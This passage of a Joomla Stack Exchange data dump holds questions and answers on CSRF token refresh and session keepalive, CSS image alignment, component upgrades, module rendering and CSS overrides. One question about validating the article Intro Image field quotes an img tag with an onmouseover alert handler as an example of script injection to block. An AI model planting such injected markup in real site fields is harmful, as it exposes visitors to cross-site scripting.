&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BUT: the problem is that, when the user is inactive for a while, the Joomla auto logout is fired. And therefor my token dosen't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I refresh the token by AJAX before making the login call?&lt;/p&gt;&#xA;" OwnerUserId="12743" LastEditorUserId="12352" LastEditDate="2019-11-16T22:51:17.063" LastActivityDate="2019-11-16T22:51:17.063" Title="how to refresh Joomla token in form by AJAX" Tags="|joomla-3.x|ajax|security-token|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23596" PostTypeId="2" ParentId="23595" CreationDate="2018-10-14T06:56:13.953" Score="4" Body="&lt;p&gt;I wanted to answer your earlier question about this yesterday, but someone was already answered this partially for you. So according to me your original Login Form token field should be a bit changed like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;#&quot; id=&quot;userForm&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;username&quot;&amp;gt;Brugernavn&amp;lt;/label&amp;gt;    &#xA;    &amp;lt;input type=&quot;text&quot; value=&quot;&quot; name=&quot;username&quot;&amp;gt;    &#xA;    &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;  &#xA;    &amp;lt;input type=&quot;password&quot; value=&quot;&quot; name=&quot;password&quot;&amp;gt;&#xA;    &amp;lt;?php echo '&amp;lt;input id=&quot;token&quot; type=&quot;hidden&quot; name=&quot;' . JSession::getFormToken($forceNew=true) . '&quot; value=&quot;1&quot; /&amp;gt;'; ?&amp;gt;&#xA;&#xA;    &amp;lt;button id=&quot;login-user&quot;&amp;gt;Login&amp;lt;/button&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way the token function forced to generate always a new token which could be sent with the AJAX query anytime (your original AJAX query might be changed a bit too to forward the token created this way and checking the token in your called function should may be re-formulated too. Maybe those are OK as they are now, you'll test it). I hope this can help you in the question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now the above solution is generating a new token for the Form only when the site is refreshed.&lt;/strong&gt; and that is not what you are looking for, as we found out a bit later. And I will not leave this subject without closing it if we went into this now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, what is the real problem here?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course as we talked about it (in the added comments), you could get a fresh token with an initial AJAX call to a function of &lt;strong&gt;refreshingToken()&lt;/strong&gt; (which would be a custom function you could create with few lines of codes). But this function would also delete the old request/session token and would create a new one (and that would also mean a new session and new request). This is due to security reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Here is the problem and the most possible solution of what you want to accomplish:&lt;/em&gt;&lt;/strong&gt;&#xA;The real solution to your problem is about sessions and not about getting new tokens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you explained finally that you want to solve the problem of the logged in User when he is i.e. editing an article and it takes a little longer time for him to finish the editing, and this user has gotten logged out by the system, then you want them to be logged in again without redirection and losing their unfinished article for example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A working solution of this problem is how Joomla solved it with keeping the session alive with a core Joomla function.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you call the following function at the top of your particular pages’ layout files (or in your Form layout file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.keepalive');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then It will just keep the user's session alive and that’s it, your problem is solved (we can say), since the session will not expire on the article editing page. The user will not lose his work as he won’t be logged out during an important article writing, editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now, do you have to create your own AJAX based login form to add keepalive() function to the com_content article edit page for example?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, you do not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;KEEPING THE SESSION ALIVE ON DIFFERENT PAGES OF JOOMLA&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla, at the top of the &lt;strong&gt;login module (mod_login)&lt;/strong&gt; the &lt;strong&gt;JHtml::_('behavior.keepalive');&lt;/strong&gt; is included, thus if you publish this login module on the Article Edit pages (or menus) for example, then the user session will be kept alive on those pages, so it means that your editor User will not lose his work, since he will not be logged out of his session, since the keepalive() function (via a javascript function) will refresh his session's time regularly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And finally&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to, you can also include &lt;strong&gt;JHtml::_('behavior.keepalive');&lt;/strong&gt; on the top of your custom Login Form layout file placed on the 'article edit' page and that will prevent of loging users out during editing and of losing an unfinished article at the side of your User. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Another possible solution:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You could also create a plugin which shows a remaining session time on article edit pages in a module and there could be a button to restart the session or fork the session. The Joomla/CMS/Session/Session class has functions for that which could be called (it should be studied more by myself too). So the user instead of logging in just can push a button to restart the session. &lt;em&gt;(later edit: I have checked these Session functions and unfortunately start(), restart(), fork(), all of these functions destroy the current session, so these are not working solutions of the problem in question).&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am sorry for the very long description but this was the only way to clear the problem and the subject at an acceptable level. I hope this is gonna clear the subject more and will help you.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-10-17T12:03:54.927" LastActivityDate="2018-10-17T12:03:54.927" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="23597" PostTypeId="1" CreationDate="2018-10-14T07:08:46.360" Score="1" ViewCount="378" Body="&lt;p&gt;I am trying to align images in a div tag so they sit left or right of the text.&#xA;I am using JCE Editor and if I align images in the image settings the image sits outside of the div tag ???  I am trying to use a span tag without much success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will appreciate any advice &#xA;Thanks John&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following image you can see the images are spanning the div tags. In the image properties I have aligned right and left which pops them out of the div tag they were originally located in.  I have added div tags in an attempt to create space and align the second image down the page further&lt;a href=&quot;https://i.stack.imgur.com/G47Bt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G47Bt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &#xA;Below is the code view&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VDVWT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VDVWT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the end result, similar to what I an looking for but messy, see the &lt;hr&gt; half way through the second image.&#xA;I am trying to create neat css code to contain images left or right with relevant text. Each image and text to be in its own div tag.&lt;br&gt;&#xA;Following is the code I have used.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;&amp;lt;div&amp;gt;Welcome: John Wright&amp;lt;/div&amp;gt;&#xA;&amp;lt;div style=&quot;float: right;&quot;&amp;gt;&amp;lt;img src=&quot;images/4-sitelogos/e465.png&quot; alt=&quot;e465&quot; /&amp;gt;&#xA;    &amp;lt;hr /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;{yendifplayer videoid=49}&#xA;    &amp;lt;hr /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;h2&amp;gt;The Color Object List&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;This is your roadmap to the design, displaying the colors and objects in the sequence to be stitched.{modal url=&quot;images/4-sitelogos/24_bit.png&quot; title=&quot;24 bit&quot;}Pass the mouse over image to see variation&amp;lt;img style=&quot;margin-right: 30px; float: left;&quot; onmouseover=&quot;this.src='images/4_lessons/esdig/color_object_list_exp.png';&quot; onmouseout=&quot;this.src='images/4_lessons/esdig/color_object_list.png';&quot; onmouseout=&quot;this.src='images/4_lessons/esdig/color_object_list.png';&quot; onmouseover=&quot;this.src='images/4_lessons/esdig/color_object_list_exp.png';&quot; src=&quot;images/4_lessons/esdig/color_object_list.png&quot; alt=&quot;color object list&quot; width=&quot;400&quot; height=&quot;496&quot; /&amp;gt;&amp;lt;br style=&quot;clear: right;&quot; /&amp;gt;{/modal}Every object can be easily re-sequenced by selecting the color or object in the list and dragging to the new location.&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Across the columns the information is&amp;lt;/p&amp;gt;&#xA;&amp;lt;ul style=&quot;list-style-type: disc;&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;The first column displays the color blocks and the thread number as they appear in the palette at the bottom of your work area.&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;The second column shows individual objects, where there are more object in the one color block + will appear click to expand the list&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;The third column identifies the stitch sequence by number&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;The fourth column identifies the tool used to create the object. Notice in block two the curious icons with the question mark indicate that more than one tool was used to create the objects in the group&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;The fifth column identifies the stitch type and a simliar comment regarding to the ? mark applies as above&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;The sixth column gives the stitch count of each object or group&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;div&amp;gt;You can see there is a lot of information to be gleaned from this toolbar, one of the reasons I have it displayed while I digitize&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&amp;lt;hr /&amp;gt;&#xA;&amp;lt;p&amp;gt;Notice the pin and the &quot;x&quot; at the top of the box. The &quot;x&quot; closes the property box and it will need to be reopened from the Docker Toolbar.{modal url=&quot;images/4_lessons/esdig/color_object_pin.png&quot; title=&quot;color_object_pin&quot;}&amp;lt;img style=&quot;margin-left: 25px; float: right;&quot; onmouseover=&quot;this.src='images/4_lessons/esdig/color_object_pin_away.png';&quot; onmouseout=&quot;this.src='images/4_lessons/esdig/color_object_pin.png';&quot; onmouseout=&quot;this.src='images/4_lessons/esdig/color_object_pin.png';&quot; onmouseover=&quot;this.src='images/4_lessons/esdig/color_object_pin_away.png';&quot; src=&quot;images/4_lessons/esdig/color_object_pin.png&quot; alt=&quot;color object pin&quot; width=&quot;350&quot; height=&quot;486&quot; /&amp;gt;&amp;lt;br style=&quot;clear: left;&quot; /&amp;gt;{/modal}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;The pin, if clicked will either be facing down or sideways. The down position locks the toolbar in place and the sideways position caused the box to flyaway to the right, ready to be opened again when required. &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;hr /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Objects can be dragged and dropped to resequence in the design form here.&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;If an object is difficult to select on the work area it is an option to select it from this list and it will be selected on the work area for aeny editing you wish to do.&amp;lt;/p&amp;gt;&#xA;&amp;lt;hr /&amp;gt;&#xA;&amp;lt;h4&amp;gt;&amp;amp;nbsp;Related Articles&amp;lt;/h4&amp;gt;&#xA;&amp;lt;div&amp;gt;{article Object Properties Flyout}[readmore text=&quot;Oject Properties&quot;]{/article}&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="12660" LastEditorUserId="12660" LastEditDate="2018-10-14T17:52:54.187" LastActivityDate="2024-04-05T20:08:56.040" Title="How can I align images (inline)" Tags="|css|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23599" PostTypeId="1" CreationDate="2018-10-14T18:54:39.740" Score="2" ViewCount="36" Body="&lt;p&gt;I'm developing a component and as I make changes to the SQL update files and install files, I'd like to run the component upgrade process without having to package up the component and upload it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I create the component directory and manifest file, I can use the &quot;Extension&quot;&gt;&gt;&quot;Manage&quot;&gt;&gt;&quot;Discover&quot; to make my component undergo the usual installation steps. But if I then modify my component in situ, I can't see any equivalent process to run the upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to &quot;Extension&quot;&gt;&gt;&quot;Manage&quot;&gt;&gt;&quot;Manage&quot; I can refresh cache, but this just refreshes the data from my manifest file, so it might show the component version number as having changed, but it doesn't run the SQL updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this?&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2018-10-14T23:54:25.520" Title="Upgrade component under development without reuploading files" Tags="|joomla-3.x|component|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23600" PostTypeId="2" ParentId="23599" CreationDate="2018-10-14T23:54:25.520" Score="3" Body="&lt;p&gt;I understand what you are craving, and I've felt the same way because the structure of my extension package doesn't seamlessly mirror my project directory structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't sound like you have a terrible lot to do since you are able to update/refresh the files as you've described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will merely need to run your sql adjustments manually -- which will not take more than a minute.  You can use phpMyAdmin to fire your table updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, when your extension is complete, take the time to package up all scripts and queries.  This avoids having a package that has heaps of versions while you develop and/or having to condense all of those micro-versions when you are ready to release the extension into the wild.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-10-14T23:54:25.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23601" PostTypeId="2" ParentId="23595" CreationDate="2018-10-15T13:19:08.613" Score="4" Body="&lt;p&gt;Playing with the sessions is usually not a very safe thing to do - you could create more problems by trying to find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do one (or both) of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Increase the Session Lifetime under &lt;code&gt;System&lt;/code&gt;, &lt;code&gt;Global Configuration&lt;/code&gt; to a higher number, such as 1440 (1 day). This will minimize the problem, but will not eliminate it. Another problem with this approach is that you may risk flooding your session table if your website gets a huge amount of traffic. See &lt;a href=&quot;https://www.itoctopus.com/a-flooded-session-table-can-dramatically-slow-down-your-joomla-site&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add, to your template, an Ajax request that will subtly load any page on your website every 30 minutes or so.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The previous answer mentions using &lt;code&gt;JHtml::_('behavior.keepalive');&lt;/code&gt;, which should also technically work, but I do remember (and I might be wrong) that it doesn't work well when page caching is enabled.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-10-15T13:19:08.613" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23602" PostTypeId="2" ParentId="23586" CreationDate="2018-10-15T13:24:54.183" Score="2" Body="&lt;p&gt;Older versions of Helix have problems with Joomla 3.8.12+ - try updating to the latest Helix template. See &lt;a href=&quot;https://www.joomshaper.com/forums/helix-update&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-10-15T13:24:54.183" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23603" PostTypeId="2" ParentId="17334" CreationDate="2018-10-15T13:36:36.583" Score="0" Body="&lt;p&gt;Typically, this problem is caused by one of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Some wrong mail definitions at the server level&lt;/li&gt;&#xA;&lt;li&gt;SPF not set, or SPF set but doesn't include the IP of your server&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For the first one, it is a good idea to check with your host as there are many issues that might be causing the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the second one, check your environment (cPanel/Plesk/etc...) to see how to add your SPF records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all else fails, check your mail logs to see what is going on.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-10-15T13:36:36.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23604" PostTypeId="2" ParentId="22827" CreationDate="2018-10-15T13:41:53.213" Score="3" Body="&lt;p&gt;A &quot;clean&quot; way of addressing this problem from within the Joomla is to create the child menu item in a hidden menu, and then reference (in the real menu) the child menu item using a menu item of type &quot;Menu Item Alias&quot;. I'm usually against all those URL rewriting plugins as they generally cause more harm than good, especially on high traffic sites.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-10-15T13:41:53.213" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23605" PostTypeId="1" AcceptedAnswerId="23606" CreationDate="2018-10-16T04:45:48.917" Score="1" ViewCount="100" Body="&lt;p&gt;I am using this code to show a module inside blog.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php echo JHtml::_('content.prepare', '{loadposition myModule}'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I show it only on the first page of the category blog?&#xA;I want to combine the above code with the code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!JRequest::getInt('start') &amp;lt; 1) { ?&amp;gt;&#xA;................&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but for some reason I am not doing it right.&#xA;Any help?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2018-10-17T05:58:18.713" Title="Showing a module only on first page of Category Blog" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23606" PostTypeId="2" ParentId="23605" CreationDate="2018-10-16T05:56:26.280" Score="3" Body="&lt;p&gt;You have an error in logic check. Now it runs when &lt;code&gt;start&lt;/code&gt; is &lt;code&gt;&amp;gt;= 1&lt;/code&gt;. You can remove the &lt;code&gt;!&lt;/code&gt; operator or the comparison (&lt;code&gt;&amp;lt; 1&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other thoughts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JRequest&lt;/code&gt; is deprecated. &lt;code&gt;JInput&lt;/code&gt; should be used instead of it. But in this case it's best to use values from state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can render the module using document's renderer instead of plugin shortcode. This will prevent content plugins from running on generated module content, which may or may not be desirable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!$this-&amp;gt;state-&amp;gt;get('list.start')) : ?&amp;gt;&#xA;    &amp;lt;?php echo JFactory::getDocument()-&amp;gt;loadRenderer('modules')-&amp;gt;render('myModule'); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To show only on 2nd page, compare &lt;code&gt;list.start&lt;/code&gt; value to &lt;code&gt;list.limit&lt;/code&gt; value. Remember, this isn't 100% reliable because users can manipulate this by changing the URL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;state-&amp;gt;get('list.start') == $this-&amp;gt;state-&amp;gt;get('list.limit')) : ?&amp;gt;&#xA;    &amp;lt;?php echo JFactory::getDocument()-&amp;gt;loadRenderer('modules')-&amp;gt;render('myModule'); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-10-17T05:58:18.713" LastActivityDate="2018-10-17T05:58:18.713" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23607" PostTypeId="1" CreationDate="2018-10-16T12:08:17.150" Score="0" ViewCount="158" Body="&lt;p&gt;When managing an Article in the administrator/backend, it is possible to insert a non-url into the &quot;Intro Image&quot; field (located in the &quot;Images and Links&quot; tab).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0ehkn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ehkn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon clicking &quot;Select&quot; a modal window containing a text input field labeled &quot;Image URL&quot; (among other options) appears.  This field expects a url string like &lt;code&gt;images/abc.jpg&lt;/code&gt;, but there is no validation on the text in the field so a non-url value can be submitted.  I want to eliminate the possibility of a non-url value like html, javascript, etc. from being stored.  e.g. &lt;code&gt;&amp;lt;img src=&quot;xxx/yy/zbx.jpg&quot; onmouseover=&quot;alert(xxxx)&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/67bae.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/67bae.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I wish to deny the submission from the modal, so that the parent form can not receive the non-url value and generate the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pqlyH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pqlyH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately I'd like to validate the url field when saving the Article.&lt;/p&gt;&#xA;" OwnerUserId="12592" LastEditorUserId="12352" LastEditDate="2018-10-18T06:30:58.047" LastActivityDate="2018-11-30T00:44:56.147" Title="How to validate the Article - Intro Image field in the backend?" Tags="|joomla-3.x|com-content|validations|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23609" PostTypeId="2" ParentId="20862" CreationDate="2018-10-16T15:06:16.983" Score="1" Body="&lt;p&gt;I had the same problem; administration pages were very, very slow.&#xA;In my case, it was due to the extensions autoupdates. For example, I had an old jck editor extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Extensions &gt; Manage &gt; Update sites, I just uncheck some extensions, for example jck editor and some others.&#xA;All went immediately fast.&lt;/p&gt;&#xA;" OwnerUserId="12976" LastEditorUserId="12352" LastEditDate="2018-10-16T20:10:53.073" LastActivityDate="2018-10-16T20:10:53.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23611" PostTypeId="2" ParentId="23526" CreationDate="2018-10-17T02:31:38.257" Score="1" Body="&lt;p&gt;Thanks for reply , i fixed it . Issue in file libraries/joomla/database/importer.php. extended it and override the function &quot;mergeStructure&quot; . It is working fine now .Below is code .  Markup was just sample not full .&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function mergeStructure() {&#xA;    $prefix = $this-&amp;gt;db-&amp;gt;getPrefix();&#xA;    $tables = $this-&amp;gt;db-&amp;gt;getTableList();&#xA;&#xA;    if ($this-&amp;gt;from instanceof SimpleXMLElement) {&#xA;        $xml = $this-&amp;gt;from;&#xA;    } else {&#xA;        $xml = new SimpleXMLElement($this-&amp;gt;from);&#xA;    }&#xA;&#xA;    // Get all the table definitions.&#xA;    $xmlTables = $xml-&amp;gt;xpath('database/table_structure');&#xA;&#xA;    foreach ($xmlTables as $table) {&#xA;        // Convert the magic prefix into the real table name.&#xA;        $tableName = (string) $table['name'];&#xA;        $tableName = preg_replace('|^#__|', $prefix, $tableName);&#xA;&#xA;        if (in_array($tableName, $tables)) {&#xA;            // The table already exists. Now check if there is any difference.&#xA;            if ($queries = $this-&amp;gt;getAlterTableSql($table)) {&#xA;                // Run the queries to upgrade the data structure.&#xA;                foreach ($queries as $query) {&#xA;                    $this-&amp;gt;db-&amp;gt;setQuery((string) $query);&#xA;                    $this-&amp;gt;db-&amp;gt;execute();&#xA;                }&#xA;            }&#xA;        } else {&#xA;            // This is a new table.&#xA;            $sql = $this-&amp;gt;xmlToCreate($table);&#xA;&#xA;            $this-&amp;gt;db-&amp;gt;setQuery((string) $sql);&#xA;            $this-&amp;gt;db-&amp;gt;execute();&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="9576" LastActivityDate="2018-10-17T02:31:38.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23612" PostTypeId="1" CreationDate="2018-10-17T09:33:52.513" Score="2" ViewCount="1790" Body="&lt;p&gt;I am using a module called &lt;a href=&quot;https://www.joomla-monster.com/joomla-modules/i/243-jm-intro-articles&quot; rel=&quot;nofollow noreferrer&quot;&gt;JM - Inrto Articles&lt;/a&gt; which in short allows you to add little preview tiles of other blog articles that have been posted. Problem is, I want to edit this using my own css. I have tried editing the style.css of the whole website, but the styling does not take effect on the module css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to edit the css of modules?&lt;/p&gt;&#xA;" OwnerUserId="12981" LastActivityDate="2018-10-17T10:56:52.293" Title="How do I add custom css to a Joomla! Module?" Tags="|joomla-3.x|module|css|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23613" PostTypeId="2" ParentId="23612" CreationDate="2018-10-17T10:56:52.293" Score="2" Body="&lt;p&gt;Joomla Monster seem to have added their css in a non-standard way by uploading it to the &lt;code&gt;modules&lt;/code&gt; rather than &lt;code&gt;media&lt;/code&gt; folder. This means the usual css overrides will not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in the module, there is an option called &quot;module theme&quot;.  Set this to &quot;Override from template&quot; and it will remove all their default styles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find their styles under &lt;code&gt;modules/mod_jm_articles_category/assets/default.css&lt;/code&gt; should you then want to copy these into your template's style sheet and edit them from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, looking at their stylesheet, you should just be able to make small overrides in your template's style without replacing the whole thing - I suspect your previous edits might just need to be a bit more specific so that they take precedence over the module's default styles (or just whack in an !important if you are happy with lazy code).&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2018-10-17T10:56:52.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
